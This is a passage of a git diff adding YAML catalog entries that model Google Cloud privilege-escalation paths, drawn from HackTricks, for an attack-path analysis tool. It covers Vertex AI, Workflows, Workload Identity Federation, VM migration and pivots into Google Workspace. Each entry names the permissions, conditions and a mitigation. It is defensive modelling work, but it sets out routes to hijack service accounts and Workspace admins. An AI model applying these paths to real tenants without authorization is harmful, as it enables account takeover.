gcp-vertex-reasoningengines-create-actas + provider: gcp + service: aiplatform + title: Deploy an Agent Engine (reasoning engine) running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformreasoningenginescreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.reasoningEngines.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + - id: identity_type + description: The spec must use service-account identity, not identityType AGENT_IDENTITY; a custom build spec SA is a build identity, not the runtime identity. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-notebookexecutionjobs-create-actas + provider: gcp + service: aiplatform + title: Create a Colab Enterprise notebook execution job running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformnotebookexecutionjobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.notebookExecutionJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: runtime_template + description: Needs a usable notebook runtime template. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-workbench-instances-create-actas + provider: gcp + service: aiplatform + title: Create a Vertex AI Workbench instance attached to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#create-a-workbench-instance-with-a-target-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: notebooks.instances.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + notes: Covers the Workbench Instances notes on this anchor; the legacy managed/user-managed notebook paths are obsolete. + +- id: gcp-vertex-customjob-custom-code-agent + provider: gcp + service: aiplatform + title: Run a Vertex AI job with no service account so it runs as the Custom Code Service Agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#omit-serviceaccount-to-run-custom-training-as-the-custom-code-service-agent + source_revision: 171e422 + summary: The source can obtain the privileges of the Vertex AI Custom Code Service Agent of every project where it can create custom jobs, hyperparameter tuning jobs or custom training pipelines. + requires: + any_of: + - - action: aiplatform.customJobs.create + resource: '*' + - - action: aiplatform.hyperparameterTuningJobs.create + resource: '*' + - - action: aiplatform.trainingPipelines.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: vertex_custom_code_agent + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Vertex AI Custom Code Service Agent of {project} + conditions: + - id: agent_roles + description: Power equals the agent's current bindings (roles/aiplatform.customCodeServiceAgent by default, which HackTricks reports as including + token minting for project SAs and broad storage/BigQuery access). + - id: agent_node + description: The agent may not be a collected SA node; the evaluator needs a synthetic node per project. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + references: + - https://docs.cloud.google.com/vertex-ai/docs/general/custom-service-account + confidence: conditional + severity: critical + mitigation: Review the bindings of service-@gcp-sa-aiplatform-cc and restrict aiplatform.customJobs.create / pipelineJobs.create (roles/aiplatform.user). + notes: No actAs is checked when no service account is pinned (Google documents the Custom Code Service Agent as the default identity of CustomJob, HyperparameterTuningJob and custom TrainingPipeline training containers). PipelineJobs are not documented to default to this agent. + +- id: gcp-vertex-workbench-instance-update-or-setiampolicy + provider: gcp + service: notebooks + title: Take over an existing Workbench instance through update/reset or an instance IAM self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#notebooksinstancesupdate--notebooksinstancesreset-on-an-existing-workbench-instance + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts attached to existing Workbench instances it can update and reset or whose + IAM policy it controls. + requires: + any_of: + - - action: notebooks.instances.update + resource: '{target.host_resource}' + - action: notebooks.instances.reset + resource: '{target.host_resource}' + - - action: notebooks.instances.setIamPolicy + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: notebooks_instance + scope: same_project + aggregate_as: SAs of Workbench instances the source can take over + conditions: + - id: followup_access + description: After an IAM self-grant the source uses a granted instance role with notebooks.instances.update and notebooks.instances.reset; notebooks.instances.use does not open JupyterLab because the immutable access mode is enforced separately. The guest must run metadata startup scripts. + - id: instance_owners + description: JupyterLab access follows the instance's immutable access mode (single-user, or service-account mode admitting principals with actAs on the instance SA). + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict notebooks.instances.update/reset/setIamPolicy (roles/notebooks.admin, roles/editor) on instances with privileged SAs and + set instance-owners explicitly. + +- id: gcp-vertex-reasoningengines-create-default-agent + provider: gcp + service: aiplatform + title: Deploy an Agent Engine with no service account so it runs as the Reasoning Engine Service Agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#omit-agent-engine-specserviceaccount-to-run-as-the-reasoning-engine-service-agent + source_revision: 171e422 + summary: The source can obtain the privileges of the AI Platform Reasoning Engine Service Agent of every project where it can create reasoning engines. + requires: + all_of: + - action: aiplatform.reasoningEngines.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: vertex_reasoning_engine_agent + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Reasoning Engine Service Agent of {project} + conditions: + - id: identity_selection + description: spec.serviceAccount must be omitted and identityType AGENT_IDENTITY not selected. + - id: agent_roles + description: Power equals roles/aiplatform.reasoningEngineServiceAgent (project-scoped Cloud Storage object get/list among others) plus any extra bindings on service-@gcp-sa-aiplatform-re. + - id: staging_build + description: The staging/build permissions needed to deploy attacker-controlled agent code are also required. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: medium + mitigation: Review bindings of the Reasoning Engine Service Agent and restrict aiplatform.reasoningEngines.create (roles/aiplatform.user). + references: + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/scale/runtime/manage-agent-access + notes: No actAs is checked for the default identity. This is not arbitrary service-account impersonation. diff --git a/src/privilege-escalation-paths-research/gcp/vmmigration.yaml b/src/privilege-escalation-paths-research/gcp/vmmigration.yaml new file mode 100644 index 0000000000..cfcedd591a --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/vmmigration.yaml @@ -0,0 +1,43 @@ + +# GCP Migrate to Virtual Machines privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-vm-migration-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: vmmigration_target_default -> the runtime service account already selected in a MigratingVm's +# computeEngineTargetDefaults ({target.host_resource} is that MigratingVm). +- id: gcp-vmmigration-migratingvm-metadata-clone + provider: gcp + service: vmmigration + title: Add startup metadata to a migrating VM and clone it with its configured runtime service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vm-migration-privesc.md#vmmigrationmigratingvmsupdate--vmmigrationclonejobscreate--execute-startup-metadata-as-the-target-vm-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the runtime service account already configured in the target defaults of every MigratingVm it can update and clone. + requires: + all_of: + - action: vmmigration.migratingVms.update + resource: "{target.host_resource}" + - action: vmmigration.cloneJobs.create + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: vmmigration_target_default + scope: any + aggregate_as: "Runtime SAs configured on MigratingVms the source can update and clone" + conditions: + - id: existing_sa_default + description: The replicated MigratingVm must already select a runtime service account in its target defaults; target VMs have none by default, and changing it is outside this path. + - id: service_agent_trust + description: The host-project Migrate to Virtual Machines service agent needs roles/vmmigration.serviceAgent on the target project and Service Account User on the runtime SA. + - id: guest_startup + description: The cloned guest must run the startup script (working guest environment) and have an exfiltration path; the token is limited by the VM's access scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict vmmigration.migratingVms.update and cloneJobs/cutoverJobs.create (roles/vmmigration.admin) and avoid attaching privileged runtime SAs to migration target defaults. + references: + - https://docs.cloud.google.com/migrate/virtual-machines/docs/5.0/get-started/target-sa-compute-engine + - https://docs.cloud.google.com/migrate/virtual-machines/docs/5.0/reference/rest/v1/projects.locations.sources.migratingVms.cloneJobs/create + - https://docs.cloud.google.com/migrate/virtual-machines/docs/5.0/reference/roles-reference + notes: The caller needs no actAs; the service agent performs the attachment. Does not yield the service agent's own identity. A cut-over job delivers the same metadata. diff --git a/src/privilege-escalation-paths-research/gcp/wif.yaml b/src/privilege-escalation-paths-research/gcp/wif.yaml new file mode 100644 index 0000000000..9c7f304cd6 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/wif.yaml @@ -0,0 +1,154 @@ +# GCP Workload Identity Federation privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# "{target.host_resource}" = the workload identity pool. attached_to_service: wif_pool_bound -> service accounts that grant +# roles/iam.workloadIdentityUser to principal:// or principalSet:// members of that pool. Roles bound directly to pool +# principals (federated principal as a node) need the gcp_federated_principal kind (SCHEMA EXTENSIONS). + +- id: gcp-wif-provider-create + provider: gcp + service: iam + title: Add a provider trusting attacker-controlled credentials to a pool with broad bindings + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workloadidentitypoolproviderscreate--add-trust-to-an-already-authorized-pool + source_revision: 171e422 + summary: The source can obtain the privileges of service accounts bound to pool-wide principals of workload identity + pools on which it holds workloadIdentityPoolProviders.create. + requires: + all_of: + - action: iam.googleapis.com/workloadIdentityPoolProviders.create + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: wif_pool_bound + scope: any + aggregate_as: SAs bound to pool-wide principals of controllable WIF pools + conditions: + - id: pool_wide_binding + description: Only effective when the pool has a binding for all its identities (principalSet .../workloadIdentityPools//*) + or for attribute values the new provider can assert. + - id: pool_active + description: The pool must be enabled. + blockers: + - gcp_deny_policy + - id: org_policy_constraint + constraint: iam.workloadIdentityPoolProviders + confidence: conditional + severity: critical + mitigation: Restrict workloadIdentityPoolProviders.* (roles/iam.workloadIdentityPoolAdmin), avoid pool-wide bindings + and restrict allowed providers by org policy. +- id: gcp-wif-provider-update + provider: gcp + service: iam + title: Change an existing provider's trust configuration + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workloadidentitypoolprovidersupdate--take-over-an-authorized-provider + source_revision: 171e422 + summary: The source can obtain the privileges of service accounts bound to principals of workload identity pools + whose providers it can update. + requires: + all_of: + - action: iam.googleapis.com/workloadIdentityPoolProviders.update + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: wif_pool_bound + scope: any + aggregate_as: SAs bound to principals of WIF pools with updatable providers + conditions: + - id: matching_binding + description: An IAM binding must exist for a subject, group or mapped attribute the modified provider can assert, + and the provider's attribute condition must be satisfiable. + - id: provider_enabled + description: The provider and pool must be enabled. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict workloadIdentityPoolProviders.update and alert on provider metadata/issuer changes. + notes: SAML metadata updates must keep one current certificate, which does not prevent adding another. An OIDC + oidc.jwksJson upload replaces discovery-fetched keys while keeping the issuer URI. +- id: gcp-wif-pool-provider-restore + provider: gcp + service: iam + title: Re-enable or undelete a pool or provider that still trusts attacker-controlled credentials + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#poolprovider-update--undelete--restore-a-residual-trust-path + source_revision: 171e422 + summary: The source can obtain the privileges of service accounts still bound to principals of disabled or deleted + workload identity pools or providers it can restore. + requires: + any_of: + - - action: iam.googleapis.com/workloadIdentityPoolProviders.undelete + resource: '{target.host_resource}' + - - action: iam.googleapis.com/workloadIdentityPools.update + resource: '{target.host_resource}' + - - action: iam.googleapis.com/workloadIdentityPools.undelete + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: wif_pool_bound + scope: any + aggregate_as: SAs bound to principals of restorable WIF pools + conditions: + - id: residual_trust + description: The restored provider must already accept an identity the source controls and a matching IAM binding + must remain. + - id: retention + description: Deleted pools/providers are restorable for approximately 30 days. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Remove IAM bindings of decommissioned pools before deleting them and restrict pool/provider update + and undelete. + notes: Also covers pools.update (re-enable) and pools.undelete. Provider re-enable through workloadIdentityPoolProviders.update + is modelled by gcp-wif-provider-update. Disabling a provider blocks only new exchanges; disabling a pool also + blocks use of issued tokens. +- id: gcp-wif-workforce-provider-control + provider: gcp + service: iam + title: Create, change or restore a workforce pool provider to admit an attacker-controlled external user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workforce-provider-control-and-trust-restoration--hijack-an-authorized-pool + source_revision: 171e422 + summary: The source can obtain the privileges of service accounts that grant impersonation to principals of workforce + pools whose providers or state it controls. + requires: + any_of: + - - action: iam.googleapis.com/workforcePoolProviders.create + resource: '{target.host_resource}' + - - action: iam.googleapis.com/workforcePoolProviders.update + resource: '{target.host_resource}' + - - action: iam.googleapis.com/workforcePoolProviders.undelete + resource: '{target.host_resource}' + - - action: iam.googleapis.com/workforcePools.update + resource: '{target.host_resource}' + - - action: iam.googleapis.com/workforcePools.undelete + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: workforce_pool_bound + scope: any + aggregate_as: SAs bound to principals of controllable workforce pools + conditions: + - id: matching_binding + description: An existing IAM binding must cover a workforce principal, group, attribute or pool-wide set that + the created, changed or restored provider can assert; no target policy is changed. + - id: residual_trust + description: Pool/provider restore only helps while attacker-usable trust and a matching binding remain, within + the recovery window. + - id: programmatic_only_jwks + description: A locally uploaded OIDC JWKS works only for programmatic STS exchange, not federated console sign-in. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict workforce pool/provider administration (roles/iam.workforcePoolAdmin, roles/iam.workforcePoolEditor) + at the organization and avoid pool-wide bindings. + references: + - https://cloud.google.com/iam/docs/manage-workforce-identity-pools-providers + - https://cloud.google.com/iam/docs/workforce-identity-federation + notes: Workforce pools are organization-scoped and their principals usually receive roles directly; those direct + grants need the proposed gcp_federated_principal kind. Only service accounts that grant token creation or workloadIdentityUser + to workforce principals are reachable today. diff --git a/src/privilege-escalation-paths-research/gcp/workflows.yaml b/src/privilege-escalation-paths-research/gcp/workflows.yaml new file mode 100644 index 0000000000..ab4963662e --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/workflows.yaml @@ -0,0 +1,282 @@ +# GCP Workflows privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-workflows-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Workflow connector/OAuth steps act as the attached SA (no raw token extraction). actAs is checked at deploy/create/update, +# not at execute. Workflows has no resource-level IAM. +- id: gcp-workflows-create-actas-execute + provider: gcp + service: workflows + title: Deploy and execute a workflow running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowscreate--iamserviceaccountsactas--workflowsexecutionscreate--deploy-code-under-a-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: workflows.workflows.create + resource: "*" + - action: workflows.executions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as workflow identity in {project}" + conditions: + - id: api_level + description: The SA is usable only through connector and OAuth steps to Google APIs (no metadata token); that covers all of its IAM permissions. + - id: cross_project_sa + description: Cross-project SAs only when iam.disableCrossProjectServiceAccountUsage is not enforced and the Workflows service agent holds roles/iam.serviceAccountTokenCreator on the SA; not modelled. + - id: default_sa + description: Omitting serviceAccount attaches the project's Compute Engine default SA, which still requires actAs on that SA (no bypass). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on specific SAs; roles/workflows.admin/editor do not include actAs. + references: + - https://cloud.google.com/workflows/docs/authentication + +- id: gcp-workflows-update-actas + provider: gcp + service: workflows + title: Update an existing workflow's definition and service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowsupdate--replace-code-while-retaining-the-attached-identity + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by updating an existing workflow. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: workflows.workflows.update + resource: "*" + - action: workflows.executions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts attachable to existing workflows in {project}" + conditions: + - id: existing_workflow + description: Needs an existing workflow; explicitly changing the stored serviceAccount is a new attachment and requires actAs on the replacement SA. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Restrict workflows.workflows.update and actAs grants. + +- id: gcp-workflows-update-source-retain-sa + provider: gcp + service: workflows + title: Replace a workflow's source while keeping its attached service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowsupdate--replace-code-while-retaining-the-attached-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the service account attached to every workflow on which it holds workflows.workflows.update and workflows.executions.create. + requires: + all_of: + - action: workflows.workflows.update + resource: "{target.host_resource}" + - action: workflows.executions.create + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: workflows_workflow + scope: any + aggregate_as: "SAs attached to workflows whose source the source can replace" + conditions: + - id: source_only_update + description: Only a source-only update keeps the identity; changing or restating the SA requires actAs. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Treat workflows.workflows.update on a workflow as equivalent to use of its SA; restrict roles/workflows.editor/admin. + notes: The retained SA can belong to another project when the workflow was configured for cross-project execution (scope any). + +- id: gcp-workflows-update-source-await-execution + provider: gcp + service: workflows + title: Replace a workflow's source and let an existing trigger execute it as its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowsupdate--replace-code-while-retaining-the-attached-identity + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account attached to every workflow on which it holds workflows.workflows.update, when another principal or trigger starts the replaced revision. + requires: + all_of: + - action: workflows.workflows.update + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: workflows_workflow + scope: any + aggregate_as: "SAs attached to triggered workflows whose source the source can replace" + conditions: + - id: external_execution + description: A Scheduler job, Eventarc trigger, application or other principal must start a new execution after the update (already-running executions keep the old revision); with workflows.executions.create the source can start it itself (gcp-workflows-update-source-retain-sa). + - id: source_only_update + description: Only a source-only update keeps the identity; changing or restating the SA requires actAs. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Treat workflows.workflows.update as equivalent to use of the workflow SA; restrict roles/workflows.editor/admin. + notes: HackTricks states that if another principal starts the new revision the attacker needs only the update permission. +- id: gcp-workflow-input-effect-2 + provider: gcp + service: workflows + title: Invoke privileged existing workflow with chosen parameters + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsexecutionscreate--invoke-an-existing-privileged-workflow + source_revision: 0b36331 + summary: Invoke privileged existing workflow with chosen parameters; emit only when exact source, target, and + prerequisite evidence is verified. + requires: + all_of: + - action: workflows.executions.create + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-workflow-input-effect-2 + scope: any + outcome: scope_control + aggregate_as: Invoke privileged existing workflow with chosen parameters + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsexecutionscreate--invoke-an-existing-privileged-workflow + source_kind: + - gcp_user + - gcp_service_account + source_selector: {} +- id: gcp-workflow-input-effect-3 + provider: gcp + service: workflows + title: Inject callback data into paused privileged execution + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowscallbackssend--inject-data-into-a-paused-privileged-execution + source_revision: 0b36331 + summary: Inject callback data into paused privileged execution; emit only when exact source, target, and prerequisite + evidence is verified. + requires: + all_of: + - action: workflows.callbacks.send + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-workflow-input-effect-3 + scope: any + outcome: scope_control + aggregate_as: Inject callback data into paused privileged execution + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowscallbackssend--inject-data-into-a-paused-privileged-execution + source_kind: + - gcp_user + - gcp_service_account + source_selector: {} +- id: gcp-workflows-existing-parameterized-invoke + provider: gcp + service: workflows + title: Invoke an existing parameterized workflow as its service account + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workflows-persistence.md#backdoor-workflow-bound-to-a-privileged-service-account + source_revision: 0b36331 + summary: A caller of an existing workflow can select a Google API operation that its attached service account + executes. + requires: + all_of: + - action: workflows.executions.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: workflows_workflow + gcp_challenge_fact: gcp-workflows-existing-parameterized-invoke + scope: any + outcome: impersonation + aggregate_as: Verified attached SAs of parameterized workflows + conditions: + - id: argument_to_oauth_request + description: The deployed source revision must pass caller-controlled method, URL, or body into an OAuth-authenticated + Google API request; fixed workflows do not qualify. + confidence: conditional + severity: high + mitigation: Restrict invocation of workflows that accept caller-controlled authenticated requests. + references: + - https://cloud.google.com/workflows/docs/authenticate-workflow + - https://cloud.google.com/workflows/docs/access-control +- id: gcp-workflows-parameterized-callback + provider: gcp + service: workflows + title: Resume a privileged workflow through a parameterized callback + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workflows-persistence.md#long-lived-callback-endpoint---a-waiting-execution-as-a-trigger + source_revision: 0b36331 + summary: A callback sender can choose an authenticated Google API request executed by a waiting workflow + SA. + requires: + all_of: + - action: workflows.callbacks.send + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: workflows_workflow + gcp_challenge_fact: gcp-workflows-parameterized-callback + scope: any + outcome: impersonation + aggregate_as: Verified SAs of waiting parameterized workflows + conditions: + - id: live_callback_and_oauth_flow + description: An ACTIVE execution must have an active callback waiter and the pinned workflow revision must + feed callback fields into an OAuth-authenticated Google API request. + confidence: conditional + severity: high + mitigation: Restrict callback sending and remove workflow definitions that proxy untrusted callback data. + references: + - https://cloud.google.com/workflows/docs/authenticate-workflow + - https://cloud.google.com/workflows/docs/access-control + - https://cloud.google.com/workflows/docs/creating-callback-endpoints +- id: gcp-workflows-execution-sa-credential + provider: gcp + service: workflows + title: Read credential from workflow execution arguments or results of a GCP service account + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md#enumeration + source_revision: 0b36331 + summary: A readable workflow execution content contains a verified reusable credential belonging to another GCP + service account. + requires: + all_of: + - action: workflows.executions.get + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-workflows-execution-sa-credential + scope: any + outcome: credentials + conditions: + - id: verified_content + description: Emit only for exact source, resource, target and scope evidence after verifying credential validity; + absent or incomplete content is UNKNOWN, and metadata or secret names alone do not qualify. + confidence: conditional + severity: high + mitigation: Restrict workflows.executions.get on sensitive resources; rotate exposed service-account credentials. + references: + - https://docs.cloud.google.com/workflows/docs/access-execution-results diff --git a/src/privilege-escalation-paths-research/gcp/workspace.yaml b/src/privilege-escalation-paths-research/gcp/workspace.yaml new file mode 100644 index 0000000000..d6877ab34d --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/workspace.yaml @@ -0,0 +1,376 @@ +# GCP to Google Workspace pivots and Application Integration / Agent Identity identity edges. +# Source: hacktricks-cloud gcp-to-workspace-pivoting/*.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. New attached_to_service values (Workspace facts, +# not collected; see SCHEMA_EXTENSIONS.md ## GCP): workspace_dwd_delegation, workspace_super_admin_of_zone_domain, +# workspace_addon_user, agentidentity_authorized_user. pivot_resource_type values: gcp_dwd_service_account (SA whose client ID +# has a Workspace DWD grant), dns_managed_zone, agentidentity_auth_provider. + +- provider: gcp + source_revision: 171e422 + id: gcp-workspace-dwd-keyless-signjwt + service: iam + title: Sign a delegation JWT with a domain-wide-delegated service account's Google-managed key + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#keyless-dwd-abuse-with-signjwt-or-signblob + summary: The source can obtain the privileges of the Workspace users that a domain-wide-delegated service account it can sign for is authorized + to impersonate. + pivot_resource_type: gcp_dwd_service_account + requires: + any_of: + - - action: iam.serviceAccounts.signJwt + resource: '{pivot}' + - - action: iam.serviceAccounts.signBlob + resource: '{pivot}' + target: + kind: gcp_workspace_user + selector: + attached_to_service: workspace_dwd_delegation + scope: any + aggregate_as: Workspace users impersonable through domain-wide delegation of {pivot} + conditions: + - id: dwd_grant + description: The pivot SA's OAuth client ID must be authorized for domain-wide delegation in the Workspace tenant (Admin console facts, not + GCP IAM). + - id: scopes + description: Only the scopes authorized in the delegation are usable, and a valid Workspace user email must be known. + blockers: &id001 + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Keep DWD grants minimal and scoped, and restrict signJwt/signBlob/getAccessToken/keys on DWD service accounts to their workloads. + +- provider: gcp + source_revision: 171e422 + id: gcp-workspace-dwd-key-create + service: iam + title: Create a key for a domain-wide-delegated service account + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#compromise-existing-delegation + summary: The source can obtain the privileges of the Workspace users that a domain-wide-delegated service account it can create keys for is + authorized to impersonate. + pivot_resource_type: gcp_dwd_service_account + requires: + all_of: + - action: iam.serviceAccountKeys.create + resource: '{pivot}' + target: + kind: gcp_workspace_user + selector: + attached_to_service: workspace_dwd_delegation + scope: any + aggregate_as: Workspace users impersonable through domain-wide delegation of {pivot} + conditions: + - id: dwd_grant + description: The pivot SA's client ID must be authorized for domain-wide delegation; only the delegated scopes apply. + blockers: + - gcp_deny_policy + - id: org_policy_constraint + constraint: iam.disableServiceAccountKeyCreation+iam.disableServiceAccountKeyUpload + confidence: conditional + severity: critical + mitigation: Enforce iam.disableServiceAccountKeyCreation and restrict key creation on DWD service accounts. + +- provider: gcp + source_revision: 171e422 + id: gcp-workspace-cloud-dns-admin-recovery + service: dns + title: Publish the administrator-recovery DNS challenge for the Workspace primary domain + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#cloud-dns-to-workspace-administrator-recovery + summary: The source can obtain the privileges of a Workspace super administrator of tenants whose primary domain is served by a Cloud DNS public + zone it can modify. + pivot_resource_type: dns_managed_zone + requires: + all_of: + - action: dns.changes.create + resource: '{pivot}' + any_of: + - - action: dns.resourceRecordSets.create + resource: '{pivot}' + - - action: dns.resourceRecordSets.update + resource: '{pivot}' + target: + kind: gcp_workspace_user + selector: + attached_to_service: workspace_super_admin_of_zone_domain + scope: any + aggregate_as: Workspace super administrators of domains served by {pivot} + conditions: + - id: public_delegation + description: The zone must be the publicly delegated authoritative zone of the Workspace primary domain; private or undelegated zones are + not exploitable. + - id: recovery_process + description: Depends on Google's administrator-recovery process accepting the domain-verification challenge for the tenant. + blockers: *id001 + confidence: conditional + severity: critical + mitigation: Restrict DNS change permissions on zones of Workspace domains and monitor admin-recovery events. + +- provider: gcp + source_revision: 171e422 + id: gcp-workspace-addons-deployment-update + service: gsuiteaddons + title: Repoint an existing HTTP Workspace add-on deployment to a source-controlled endpoint + source: 